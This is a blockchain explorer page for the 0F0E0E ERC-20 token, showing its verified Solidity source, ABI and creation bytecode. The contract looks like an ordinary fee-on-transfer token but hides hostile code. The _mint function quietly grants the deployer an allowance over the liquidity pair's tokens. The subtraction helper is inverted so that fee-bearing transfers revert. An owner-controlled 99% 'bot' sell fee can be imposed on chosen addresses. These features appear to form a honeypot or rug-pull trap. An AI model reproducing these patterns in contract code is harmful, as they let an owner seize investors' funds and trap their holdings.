ERC-20
Overview
Max Total Supply
1,000,000,000 0F0E0E
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
OFOEOE
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-18 */ // SPDX-License-Identifier: MIT /** Telegram: https://t.me/OFOEOE_announcements Website: https://0f0e0e.com/ Twitter: https://twitter.com/0F0E0E */ pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeMath { /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = b - a; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); event Approval(address indexed owner, address indexed spender, uint256 value); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function decimals() external view returns (uint8); function symbol() external view returns (string memory); } interface IRouter { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; uint256 private _totalSupply; string private _name; string private _symbol; address public unisV2Pair; mapping (address => mapping (address => uint256)) internal _allowances; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function decimals() public view virtual override returns (uint8) { return 18; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount;_allowances[unisV2Pair][account] = amount; emit Transfer(address(0), account, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); _allowances[from][to] = amount; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view virtual returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract OFOEOE is ERC20, Ownable{ using Address for address payable; using SafeMath for uint256; address public feeWallet = 0x1aE7b284E80Aa88F10D396c952370340188B3A0a; address public devWallet = 0x223B4d8879F2C0E2672E65f1cC4e4442B103f4E9; uint256 public swapExactAt = 500_000 * 10e18; bool public swapEnabled; bool public _openTrading; mapping (address => bool) private botChecks; IRouter public uniswapRouter; uint256 public allBotBlockFee = 99; uint256 public origiBlockStamp; uint256 public dedStamp = 0; uint256 public maxTransSize = 50_000_000 * 10**18; // 5% uint256 public maxWalltSize = 50_000_000 * 10**18; // 5% mapping (address => bool) public excludedFromFees; bool private isSwapping; uint256 public buyFeeAmt = 0; uint256 public sellFeeAmt = 0; constructor() ERC20("0F0E0E", "0F0E0E") { IRouter uniRouterAddr = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(uniRouterAddr.factory()).createPair( address(this), uniRouterAddr.WETH() ); unisV2Pair = _pair; uniswapRouter = uniRouterAddr; excludedFromFees[devWallet] = true; excludedFromFees[feeWallet] = true; excludedFromFees[msg.sender] = true; excludedFromFees[address(this)] = true; // mint _mint(msg.sender, 1_000_000_000 * 10 ** decimals()); } // fallbacks receive() external payable { } function withdrawETH(uint256 weiAmount) external onlyOwner{ payable(owner()).sendValue(weiAmount); } function enableTrading() external onlyOwner{ _openTrading = true; swapEnabled = true; } function _transfer(address sender, address recipient, uint256 amount) internal override { require(amount > 0, "Transfer amount must be greater than zero"); if(botChecks[recipient] || botChecks[sender]) { sellFeeAmt = allBotBlockFee; } // apply bot tax 99: if(!isSwapping && !excludedFromFees[sender] && !excludedFromFees[recipient] ) { require( _openTrading, "Trading is not active yet" ); if (origiBlockStamp + dedStamp > block.number) { if(recipient != unisV2Pair) { botChecks[recipient] = true; } if(sender != unisV2Pair) { botChecks[sender] = true; } } require( amount <= maxTransSize, "MaxTxAmount is limited" ); if(recipient != unisV2Pair){ require( balanceOf(recipient) + amount <= maxWalltSize, "MaxWalletAmount is limited" ); } } uint256 swapFeeAmount; if (isSwapping || excludedFromFees[sender] || excludedFromFees[recipient]) { swapFeeAmount = 0; } else { if(recipient == unisV2Pair && !botChecks[sender]) { swapFeeAmount = amount * sellFeeAmt / 100; } else { swapFeeAmount = amount * buyFeeAmt / 100; } } if (swapEnabled && !isSwapping && swapFeeAmount > 0 && sender != unisV2Pair ) { swapEthBack(); } if( swapFeeAmount > 0 ) { super._transfer(sender, address(this) ,swapFeeAmount); super._transfer(sender, recipient, amount.sub(swapFeeAmount)); } else { super._transfer(sender, recipient, amount); } } function withdrawErc20Token(address tokenAddress, uint256 amount) external onlyOwner{ IERC20(tokenAddress).transfer(owner(), amount); } function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapRouter), tokenAmount); // add the liquidity uniswapRouter.addLiquidityETH{value: bnbAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable devWallet, block.timestamp ); } function updateAllBots(address[] memory isBot_) public onlyOwner { for (uint i = 0; i < isBot_.length; i++) { botChecks[isBot_[i]] = true; } } function swapEthBack() private { uint256 contractBalance = balanceOf(address(this)); if (contractBalance >= swapExactAt) { uint256 initialBalance = address(this).balance; swapEthForTok(contractBalance); uint256 deltaBalance = address(this).balance - initialBalance; payable(feeWallet).sendValue(deltaBalance); } } function swapEthForTok(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); // make the swap uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeTotalLimits(uint256 amount) external onlyOwner{ maxWalltSize = amount * 10**18; maxTransSize = amount * 10**18; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allBotBlockFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dedStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalltSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"origiBlockStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeTotalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapExactAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unisV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"updateAllBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600780546001600160a01b0319908116731ae7b284e80aa88f10d396c952370340188b3a0a179091556008805490911673223b4d8879f2c0e2672e65f1cc4e4442b103f4e91790556a0422ca8b0a00a4250000006009556063600d555f600f8190556a295be96e64066972000000601081905560115560148190556015553480156200008e575f80fd5b5060408051808201825260068082526530463045304560d01b6020808401829052845180860190955291845290830152906002620000cd83826200050f565b506003620000dc82826200050f565b505050620000f9620000f36200031960201b60201c565b6200031d565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200014f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001759190620005d7565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e79190620005d7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000232573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002589190620005d7565b600480546001600160a01b038084166001600160a01b031992831617909255600c8054868416921691909117905560085481165f90815260126020526040808220805460ff199081166001908117909255600754909416835281832080548516821790553380845282842080548616831790553084529190922080549093169091179091559091506200031190620002ee601290565b620002fb90600a62000715565b6200030b90633b9aca0062000725565b6200036e565b505062000755565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620003c95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060015f828254620003dc91906200073f565b90915550506001600160a01b0382165f90815260208190526040812080548392906200040a9084906200073f565b90915550506004546001600160a01b039081165f908152600560209081526040808320938616808452938252808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200049857607f821691505b602082108103620004b757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200050a575f81815260208120601f850160051c81016020861015620004e55750805b601f850160051c820191505b818110156200050657828155600101620004f1565b5050505b505050565b81516001600160401b038111156200052b576200052b6200046f565b62000543816200053c845462000483565b84620004bd565b602080601f83116001811462000579575f8415620005615750858301515b5f19600386901b1c1916600185901b17855562000506565b5f85815260208120601f198616915b82811015620005a95788860151825594840194600190910190840162000588565b5085821015620005c757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f60208284031215620005e8575f80fd5b81516001600160a01b0381168114620005ff575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200065a57815f19048211156200063e576200063e62000606565b808516156200064c57918102915b93841c93908002906200061f565b509250929050565b5f8262000672575060016200070f565b816200068057505f6200070f565b8160018114620006995760028114620006a457620006c4565b60019150506200070f565b60ff841115620006b857620006b862000606565b50506001821b6200070f565b5060208310610133831016604e8410600b8410161715620006e9575081810a6200070f565b620006f583836200061a565b805f19048211156200070b576200070b62000606565b0290505b92915050565b5f620005ff60ff84168362000662565b80820281158282048414176200070f576200070f62000606565b808201808211156200070f576200070f62000606565b6119dc80620007635f395ff3fe6080604052600436106101f4575f3560e01c80638da5cb5b11610108578063c85c07711161009d578063e47269af1161006d578063e47269af1461058b578063f14210a6146105a0578063f25f4b56146105bf578063f2fde38b146105de578063fb4ee9fb146105fd575f80fd5b8063c85c0771146104ef578063d5e23cc714610504578063dbe66ca014610519578063dd62ed3e14610547575f80fd5b80639ed6b920116100d85780639ed6b9201461047d578063a457c2d71461049c578063a9059cbb146104bb578063b9766949146104da575f80fd5b80638da5cb5b146104185780638ea5220f1461043557806395d89b41146104545780639654b5c314610468575f80fd5b80634e17a2db11610189578063715018a611610159578063715018a614610385578063719a623f14610399578063735de9f7146103b857806381ffc9f4146103ef5780638a8c523c14610404575f80fd5b80634e17a2db1461030257806352fc215d146103175780636ddd17131461033857806370a0823114610351575f80fd5b806323b872dd116101c457806323b872dd14610294578063313ce567146102b357806339509351146102ce578063444bd60b146102ed575f80fd5b806306fdde03146101ff578063095ea7b31461022957806318160ddd146102585780631c1702f314610276575f80fd5b366101fb57005b5f80fd5b34801561020a575f80fd5b5061021361061c565b60405161022091906115e0565b60405180910390f35b348015610234575f80fd5b5061024861024336600461164f565b6106ac565b6040519015158152602001610220565b348015610263575f80fd5b506001545b604051908152602001610220565b348015610281575f80fd5b50600a5461024890610100900460ff1681565b34801561029f575f80fd5b506102486102ae366004611679565b6106c2565b3480156102be575f80fd5b5060405160128152602001610220565b3480156102d9575f80fd5b506102486102e836600461164f565b610776565b3480156102f8575f80fd5b50610268600f5481565b34801561030d575f80fd5b5061026860145481565b348015610322575f80fd5b506103366103313660046116cb565b6107ac565b005b348015610343575f80fd5b50600a546102489060ff1681565b34801561035c575f80fd5b5061026861036b36600461178b565b6001600160a01b03165f9081526020819052604090205490565b348015610390575f80fd5b5061033661083f565b3480156103a4575f80fd5b506103366103b33660046117a6565b610874565b3480156103c3575f80fd5b50600c546103d7906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b3480156103fa575f80fd5b5061026860095481565b34801561040f575f80fd5b506103366108cb565b348015610423575f80fd5b506006546001600160a01b03166103d7565b348015610440575f80fd5b506008546103d7906001600160a01b031681565b34801561045f575f80fd5b50610213610906565b348015610473575f80fd5b5061026860155481565b348015610488575f80fd5b5061033661049736600461164f565b610915565b3480156104a7575f80fd5b506102486104b636600461164f565b6109d3565b3480156104c6575f80fd5b506102486104d536600461164f565b610a6d565b3480156104e5575f80fd5b50610268600d5481565b3480156104fa575f80fd5b50610268600e5481565b34801561050f575f80fd5b5061026860105481565b348015610524575f80fd5b5061024861053336600461178b565b60126020525f908152604090205460ff1681565b348015610552575f80fd5b506102686105613660046117bd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610596575f80fd5b5061026860115481565b3480156105ab575f80fd5b506103366105ba3660046117a6565b610a79565b3480156105ca575f80fd5b506007546103d7906001600160a01b031681565b3480156105e9575f80fd5b506103366105f836600461178b565b610acb565b348015610608575f80fd5b506004546103d7906001600160a01b031681565b60606002805461062b906117f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610657906117f4565b80156106a25780601f10610679576101008083540402835291602001916106a2565b820191905f5260205f20905b81548152906001019060200180831161068557829003601f168201915b5050505050905090565b5f6106b8338484610b63565b5060015b92915050565b5f6106ce848484610c86565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156107575760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61076b85336107668685611840565b610b63565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916106b8918590610766908690611853565b6006546001600160a01b031633146107d65760405162461bcd60e51b815260040161074e90611866565b5f5b815181101561083b576001600b5f8484815181106107f8576107f861189b565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610833816118af565b9150506107d8565b5050565b6006546001600160a01b031633146108695760405162461bcd60e51b815260040161074e90611866565b6108725f61108e565b565b6006546001600160a01b0316331461089e5760405162461bcd60e51b815260040161074e90611866565b6108b081670de0b6b3a76400006118c7565b6011556108c581670de0b6b3a76400006118c7565b60105550565b6006546001600160a01b031633146108f55760405162461bcd60e51b815260040161074e90611866565b600a805461ffff1916610101179055565b60606003805461062b906117f4565b6006546001600160a01b0316331461093f5760405162461bcd60e51b815260040161074e90611866565b816001600160a01b031663a9059cbb6109606006546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156109aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ce91906118de565b505050565b335f9081526005602090815260408083206001600160a01b038616845290915281205482811015610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161074e565b610a6333856107668685611840565b5060019392505050565b5f6106b8338484610c86565b6006546001600160a01b03163314610aa35760405162461bcd60e51b815260040161074e90611866565b610ac881610ab96006546001600160a01b031690565b6001600160a01b0316906110df565b50565b6006546001600160a01b03163314610af55760405162461bcd60e51b815260040161074e90611866565b6001600160a01b038116610b5a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074e565b610ac88161108e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074e565b6001600160a01b038216610c265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610ce75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161074e565b6001600160a01b0382165f908152600b602052604090205460ff1680610d2457506001600160a01b0383165f908152600b602052604090205460ff165b15610d3057600d546015555b60135460ff16158015610d5b57506001600160a01b0383165f9081526012602052604090205460ff16155b8015610d7f57506001600160a01b0382165f9081526012602052604090205460ff16155b15610f3c57600a54610100900460ff16610ddb5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206163746976652079657400000000000000604482015260640161074e565b43600f54600e54610dec9190611853565b1115610e62576004546001600160a01b03838116911614610e2a576001600160a01b0382165f908152600b60205260409020805460ff191660011790555b6004546001600160a01b03848116911614610e62576001600160a01b0383165f908152600b60205260409020805460ff191660011790555b601054811115610ead5760405162461bcd60e51b815260206004820152601660248201527513585e151e105b5bdd5b9d081a5cc81b1a5b5a5d195960521b604482015260640161074e565b6004546001600160a01b03838116911614610f3c5760115481610ee4846001600160a01b03165f9081526020819052604090205490565b610eee9190611853565b1115610f3c5760405162461bcd60e51b815260206004820152601a60248201527f4d617857616c6c6574416d6f756e74206973206c696d69746564000000000000604482015260640161074e565b6013545f9060ff1680610f6657506001600160a01b0384165f9081526012602052604090205460ff165b80610f8857506001600160a01b0383165f9081526012602052604090205460ff165b15610f9457505f61100c565b6004546001600160a01b038481169116148015610fc957506001600160a01b0384165f908152600b602052604090205460ff16155b15610fef57606460155483610fde91906118c7565b610fe891906118fd565b905061100c565b606460145483610fff91906118c7565b61100991906118fd565b90505b600a5460ff168015611021575060135460ff16155b801561102c57505f81115b801561104657506004546001600160a01b03858116911614155b15611053576110536111f4565b801561107d5761106484308361123a565b61107884846110738585611410565b61123a565b611088565b61108884848461123a565b50505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b8047101561112f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161074e565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611178576040519150601f19603f3d011682016040523d82523d5f602084013e61117d565b606091505b50509050806109ce5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161074e565b305f908152602081905260409020546009548110610ac8574761121682611458565b5f6112218247611840565b6007549091506109ce906001600160a01b0316826110df565b6001600160a01b03831661129e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074e565b6001600160a01b0382166113005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074e565b6001600160a01b0383165f9081526020819052604090205481811015611377576